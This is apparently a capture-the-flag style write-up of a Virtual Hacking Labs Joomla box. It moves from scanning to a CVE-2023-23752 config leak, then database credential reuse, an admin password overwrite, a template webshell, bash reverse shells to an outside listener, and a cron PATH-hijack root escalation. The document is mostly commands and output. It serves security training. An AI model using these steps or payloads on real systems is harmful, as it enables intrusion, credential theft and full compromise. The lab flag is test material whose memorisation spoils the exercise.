xsspresso
xsspresso
WriteupsVHL — CMS101
WebMediumLinux

VHL — CMS101

Joomla CMS on CentOS with ProFTPD. Exploited a known Joomla CVE for unauthenticated RCE via the com_media upload component.

February 15, 2025Virtual Hacking Labs
#Joomla#CVE#RCE#ProFTPD

nmap

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.178
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 14:37 EST
Nmap scan report for 10.11.1.178
Host is up (0.020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     ProFTPD or KnFTPD
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:00:ec:bd:40:49:a8:dd:cb:86:a4:e3:dc:40:a3:d8 (RSA)
|   256 29:a9:c2:c6:b4:1c:c8:74:d4:5e:bd:0c:01:7d:f3:f3 (ECDSA)
|_  256 b3:95:6b:d7:73:81:ad:4a:56:4d:ec:6d:95:4a:7f:0c (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/8.0.28)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.6 (CentOS) PHP/8.0.28
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
3306/tcp open  mysql   MySQL 5.6.51
| mysql-info: 
|   Protocol: 10
|   Version: 5.6.51
|   Thread ID: 4
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, Support41Auth, SupportsCompression, FoundRows, ConnectWithDatabase, LongPassword, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: n|Dz_I0U;gw>l*''.O#`
|_  Auth Plugin Name: mysql_native_password
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/15%OT=21%CT=1%CU=34860%PV=Y%DS=2%DC=I%G=Y%TM=67B0
OS:ED14%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=102%TI=Z%TS=A)SEQ(SP=105
OS:%GCD=1%ISR=102%TI=Z%TS=A)SEQ(SP=105%GCD=1%ISR=102%TI=Z%II=I%TS=A)SEQ(SP=
OS:105%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5
OS:B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88
OS:%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%C
OS:C=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Unix
 
TRACEROUTE
HOP RTT      ADDRESS
1   20.28 ms 10.11.1.178

21

sh
21/tcp   open  ftp     ProFTPD or KnFTPD
sh
ftp anonymous@10.11.1.178
Connected to 10.11.1.178.
220 FTP Server ready.
331 Password required for anonymous
Password: 
530 Login incorrect.
ftp: Login failed
ftp> ls
530 Please login with USER and PASS
530 Please login with USER and PASS
ftp: Can't bind for data connection: Address already in use
ftp> exit
221 Goodbye
sh
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.11.1.178
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-15 15:46:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://10.11.1.178:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-15 15:46:29

80

sh
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/8.0.28)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.6 (CentOS) PHP/8.0.28
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/

whatweb

sh
whatweb http://10.11.1.178      
http://10.11.1.178 [200 OK] Apache[2.4.6], Cookies[53bae242...], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/8.0.28], HttpOnly[53bae242...], IP[10.11.1.178], MetaGenerator[Joomla! - Open Source Content Management], PHP[8.0.28], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/8.0.28]

droopescan

sh
droopescan scan joomla --url http://10.11.1.178
[+] No version found.                                                           
 
[+] Possible interesting urls found:
    Detailed version information. - http://10.11.1.178/administrator/manifests/files/joomla.xml
    Login page. - http://10.11.1.178/administrator/
    License file. - http://10.11.1.178/LICENSE.txt
    Version attribute contains approx version - http://10.11.1.178/plugins/system/cache/cache.xml

joomla version 4.2.7

Joomla! CVE-2023-23752

  • https://vulncheck.com/blog/joomla-for-rce
sh
curl -v http://10.11.1.178/api/index.php/v1/config/application?public=true
*   Trying 10.11.1.178:80...
* Connected to 10.11.1.178 (10.11.1.178) port 80
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.11.1.178
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 15 Feb 2025 20:51:47 GMT
< Server: Apache/2.4.6 (CentOS) PHP/8.0.28
< X-Powered-By: JoomlaAPI/1.0
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Sat, 15 Feb 2025 20:51:47 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 2031
< Content-Type: application/vnd.api+json; charset=utf-8
< 
{"links":{"self":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":"224"}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":"224"}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":"224"}},{"type":"application","id":"224","attributes":{"offline_image":"","id":"224"}},{"type":"application","id":"224","attributes":{"sitename":"Joomla Test Site","id":"224"}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":"224"}},{"type":"application","id":"224","attributes":{"captcha":"0","id":"224"}},{"type":"application","id":"224","attributes* Connection #0 to host 10.11.1.178 left intact
":{"list_limit":20,"id":"224"}},{"type":"application","id":"224","attributes":{"access":1,"id":"224"}},{"type":"application","id":"224","attributes":{"debug":false,"id":"224"}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":"224"}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":"224"}},{"type":"application","id":"224","attributes":{"dbtype":"mysql","id":"224"}},{"type":"application","id":"224","attributes":{"host":"localhost","id":"224"}},{"type":"application","id":"224","attributes":{"user":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"password":"PasSw0RdjO0ml4","id":"224"}},{"type":"application","id":"224","attributes":{"db":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"dbprefix":"eqa2g_","id":"224"}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":"224"}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":"224"}}],"meta":{"total-pages":4}} 
sh
{"user":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"password":"PasSw0RdjO0ml4","id":"224"}},{"type":"application","id":"224","attributes":{"db":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"dbprefix":"eqa2g_","id":"224"}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":"224"}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":"224"}}],"meta":{"total-pages":4}}  

creds

joomla:PasSw0RdjO0ml4

3306

sh
3306/tcp open  mysql   MySQL 5.6.51
| mysql-info: 
|   Protocol: 10
|   Version: 5.6.51
|   Thread ID: 4
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, Support41Auth, SupportsCompression, FoundRows, ConnectWithDatabase, LongPassword, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: n|Dz_I0U;gw>l*''.O#`
|_  Auth Plugin Name: mysql_native_password
sh
mysql -u joomla -p'PasSw0RdjO0ml4' -h 10.11.1.178
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 45
Server version: 5.6.51 MySQL Community Server (GPL)
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
+--------------------+
2 rows in set (0.019 sec)
sh
MySQL [(none)]> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
MySQL [joomla]> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| eqa2g_action_log_config       |
| eqa2g_action_logs             |
| eqa2g_action_logs_extensions  |
| eqa2g_action_logs_users       |
| eqa2g_assets                  |
| eqa2g_associations            |
| eqa2g_banner_clients          |
| eqa2g_banner_tracks           |
| eqa2g_banners                 |
| eqa2g_categories              |
| eqa2g_contact_details         |
| eqa2g_content                 |
| eqa2g_content_frontpage       |
| eqa2g_content_rating          |
| eqa2g_content_types           |
| eqa2g_contentitem_tag_map     |
| eqa2g_extensions              |
| eqa2g_fields                  |
| eqa2g_fields_categories       |
| eqa2g_fields_groups           |
| eqa2g_fields_values           |
| eqa2g_finder_filters          |
| eqa2g_finder_links            |
| eqa2g_finder_links_terms      |
| eqa2g_finder_logging          |
| eqa2g_finder_taxonomy         |
| eqa2g_finder_taxonomy_map     |
| eqa2g_finder_terms            |
| eqa2g_finder_terms_common     |
| eqa2g_finder_tokens           |
| eqa2g_finder_tokens_aggregate |
| eqa2g_finder_types            |
| eqa2g_history                 |
| eqa2g_languages               |
| eqa2g_mail_templates          |
| eqa2g_menu                    |
| eqa2g_menu_types              |
| eqa2g_messages                |
| eqa2g_messages_cfg            |
| eqa2g_modules                 |
| eqa2g_modules_menu            |
| eqa2g_newsfeeds               |
| eqa2g_overrider               |
| eqa2g_postinstall_messages    |
| eqa2g_privacy_consents        |
| eqa2g_privacy_requests        |
| eqa2g_redirect_links          |
| eqa2g_scheduler_tasks         |
| eqa2g_schemas                 |
| eqa2g_session                 |
| eqa2g_tags                    |
| eqa2g_template_overrides      |
| eqa2g_template_styles         |
| eqa2g_ucm_base                |
| eqa2g_ucm_content             |
| eqa2g_update_sites            |
| eqa2g_update_sites_extensions |
| eqa2g_updates                 |
| eqa2g_user_keys               |
| eqa2g_user_mfa                |
| eqa2g_user_notes              |
| eqa2g_user_profiles           |
| eqa2g_user_usergroup_map      |
| eqa2g_usergroups              |
| eqa2g_users                   |
| eqa2g_viewlevels              |
| eqa2g_webauthn_credentials    |
| eqa2g_workflow_associations   |
| eqa2g_workflow_stages         |
| eqa2g_workflow_transitions    |
| eqa2g_workflows               |
+-------------------------------+
71 rows in set (0.015 sec)
sh
MySQL [joomla]> select * from eqa2g_users;
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| id  | name     | username    | email                       | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| 913 | John Doe | joomlaadmin | joomlaadmin@localhost.local | $2y$10$YWGckee43eMmxehUqhmkbuRZtpxl9TgFYFH9g98IadnQXegJaxb1K |     0 |         1 | 2023-03-15 07:44:41 | 2023-03-16 12:14:56 | 0          |        | NULL          |          0 |        |      |            0 |              |
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
1 row in set (0.024 sec)
  • using this tool to create a new password and hash it: https://hash.online-convert.com/blowfish-generator
  • new password for joomlaadmin : Joomla123!
sh
MySQL [joomla]> UPDATE eqa2g_users SET password = '$2y$10$24jjDCG4B.vOi1DTGsNndeaGAOSqsWSCsd45Jux9osf/lgguPSa2e' where id = 913;

joomla webshell

http://10.11.1.178/templates/cassiopeia/error.php?0=id

shell as apache

sh
GET /templates/cassiopeia/error.php?0=bash+-i+>%26+/dev/tcp/172.16.1.1/1234+0>%261 HTTP/1.1
sh
 rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.178] 55560
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
sh
python -c 'import pty; pty.spawn("/bin/bash")'

priv esc

sh
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/make
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python
/usr/bin/python2
/usr/bin/python2.7
/usr/bin/sudo
/usr/bin/wget

Path Hijacking

  • it is running backup.sh every 5 minutes as root
sh
SHELL=/bin/bash
PATH=.:/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
 
 
*/5 * * * *     root       /usr/local/bin/backup.sh
  • this will backup logs directory in /var/www/html/administrator
  • and it is not usinb absolute path of tar and looking in the PATH=. it will look for the current directroy for tar
  • create a malicious tar reverse shell in /var/www/html/administrator
sh
bash-4.2$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/administrator
tar cf /var/backups/backuplogs.tgz logs
sh
echo '#!/bin/bash' > /var/www/html/administrator/tar
echo 'bash -i >& /dev/tcp/172.16.1.1/1235 0>&1' >> /var/www/html/administrator/tar
chmod +x /var/www/html/administrator/tar
sh
nc -lnvp 1235
listening on [any] 1235 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.178] 59370
bash: no job control in this shell
[root@localhost administrator]# whoami
whoami
root
[root@localhost administrator]# cat /root/key.txt
cat /root/key.txt
bjtp6y5fv6derm7t3e2j
[root@localhost administrator]# date
date
Sun Feb 16 09:20:29 EST 2025